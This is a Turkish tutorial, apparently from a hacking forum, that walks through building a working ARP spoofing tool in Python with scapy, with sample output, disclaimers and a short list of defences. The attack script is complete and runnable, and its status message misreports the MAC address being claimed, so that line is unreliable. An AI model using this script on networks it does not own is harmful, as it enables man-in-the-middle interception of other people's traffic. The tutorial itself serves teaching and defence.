ARP (Address Resolution Protocol), IP adreslerini fiziksel MAC adreslerine dönüştürmek için kullanılan bir ağ protokolüdür. ARP Zehirleme (ARP Spoofing), ağ üzerindeki ARP tablolarını yanıltmak ve bir saldırganın kendisini hedef sistemlere meşru bir ağ cihazı gibi tanıtmasını sağlayan bir saldırı türüdür. Bu makalede, Python ve scapy kütüphanesi kullanarak basit bir ARP Zehirleme uygulaması yazmayı öğreneceksiniz.
Not: Bu uygulama yalnızca eğitim ve etik hacking amacıyla, kendi kontrolünüz altındaki ağlarda kullanmak üzere yazılmıştır.
ARP Zehirleme Nasıl Çalışır?
ARP Zehirleme, kurban sistemin ARP tablosunu yanıltarak saldırganın MAC adresini, meşru bir cihazın IP adresi ile ilişkilendirmesini sağlar. Bu sayede, kurban cihazdan gelen trafiği saldırganın cihazına yönlendirebilir.ARP Protokolü
ARP protokolü, iki temel işlemden oluşur:- ARP Request: Bir cihaz, belirli bir IP adresine karşılık gelen MAC adresini bulmak için ağ üzerindeki tüm cihazlara bir ARP isteği gönderir.
- ARP Reply: Hedef IP adresine sahip cihaz, kendi MAC adresini içeren bir ARP yanıtı gönderir.
Gerekli Kütüphaneler
Python'da ARP Zehirleme işlemi için scapy kütüphanesini kullanacağız. Bu kütüphaneyi aşağıdaki komutla yükleyebilirsiniz
Bash:
pip install scapy
ARP Zehirleme Uygulaması
Adım 1: Gerekli Kütüphaneleri İçe Aktarma
Öncelikle, uygulamamız için gerekli kütüphaneleri içe aktaracağız.
Python:
from scapy.all import ARP, Ether, sendp
import time
- ARP: ARP paketlerini oluşturmak için kullanılır.
- Ether: Ethernet çerçeveleri oluşturmak için kullanılır.
- sendp: Düşük seviyeli paketleri ağ katmanına göndermek için kullanılır.
- time: Zamanlama işlemleri için kullanılır.
Adım 2: ARP Zehirleme Fonksiyonunu Yazma
Bu fonksiyon, belirtilen hedef ve ağ geçidine ARP Zehirleme saldırısı yapacaktır.
Python:
def arp_spoof(target_ip, spoof_ip, target_mac, interface):
# ARP Zehirleme paketi oluşturma
arp_response = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
# Ethernet çerçevesi içinde ARP paketini gönderme
ether_frame = Ether(dst=target_mac) / arp_response
# Saldırıyı sürekli tekrarlama
try:
while True:
sendp(ether_frame, iface=interface)
print(f"[+] Sent to {target_ip}: {spoof_ip} is-at {target_mac}")
time.sleep(2) # 2 saniye aralıklarla gönder
except KeyboardInterrupt:
print("[!] ARP Spoofing stopped.")
Fonksiyon Açıklaması
- ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip):Bir ARP yanıt paketi oluşturur. op=2, bu paketin bir ARP yanıtı olduğunu belirtir.
- pdst: Kurbanın IP adresi.
- hwdst: Kurbanın MAC adresi.
- psrc: Saldırganın kendisini taklit edeceği IP adresi (örneğin, ağ geçidinin IP adresi).
- Ether(dst=target_mac): Ethernet çerçevesi oluşturur ve hedef MAC adresini belirtir.
- sendp(ether_frame, iface=interface): ARP paketini belirtilen ağ arayüzünden (örneğin, eth0 veya wlan0) gönderir.
- time.sleep(2): Saldırıyı 2 saniyede bir tekrarlamak için bir bekleme süresi ekler.
Adım 3: Uygulamayı Çalıştırma
Artık fonksiyonumuzu yazdığımıza göre, kullanıcıdan hedef IP, sahte IP (spoof IP), hedef MAC adresi ve ağ arayüzü gibi bilgileri alabiliriz ve arp_spoof fonksiyonunu çalıştırabiliriz.
Python:
if __name__ == "__main__":
target_ip = input("Enter the target IP: ")
spoof_ip = input("Enter the IP address to spoof (e.g., gateway IP): ")
target_mac = input("Enter the target MAC address: ")
interface = input("Enter the network interface (e.g., eth0, wlan0): ")
arp_spoof(target_ip, spoof_ip, target_mac, interface)
Çıktı
Uygulamanın çalıştırılması durumunda aşağıdaki gibi bir çıktı alırsınız
Kod:
Enter the target IP: 192.168.1.10
Enter the IP address to spoof (e.g., gateway IP): 192.168.1.1
Enter the target MAC address: 00:11:22:33:44:55
Enter the network interface (e.g., eth0, wlan0): wlan0
[+] Sent to 192.168.1.10: 192.168.1.1 is-at 00:11:22:33:44:55
[+] Sent to 192.168.1.10: 192.168.1.1 is-at 00:11:22:33:44:55
...
Sonuç
Bu makalede, Python ve scapy kütüphanesi kullanarak basit bir ARP Zehirleme uygulaması yazmayı öğrendik. ARP Zehirleme, ağlarda man-in-the-middle (MITM) saldırıları gerçekleştirmek için kullanılabilir. Ancak bu tür saldırılar etik olmayan ve yasa dışı amaçlarla kullanılmamalıdır. Sadece izin verilen test ortamlarında ve eğitim amaçlı olarak kullanılmalıdır.Güvenlik Önlemleri
- Dinamik ARP Kontrolü (Dynamic ARP Inspection - DAI): Ağ cihazları, ARP Zehirleme saldırılarına karşı korunmak için DAI gibi mekanizmalar kullanabilir.
- Statik ARP Kayıtları: Kritik cihazlarda statik ARP kayıtları oluşturmak, ARP Zehirleme saldırılarını engelleyebilir.
- Ağ İzleme: Ağ üzerindeki anormal ARP trafiğini tespit etmek için izleme araçları kullanılabilir.
Not: Bu uygulama yalnızca eğitim ve etik hacking amacıyla, kendi kontrolünüz altındaki ağlarda kullanmak üzere yazılmıştır.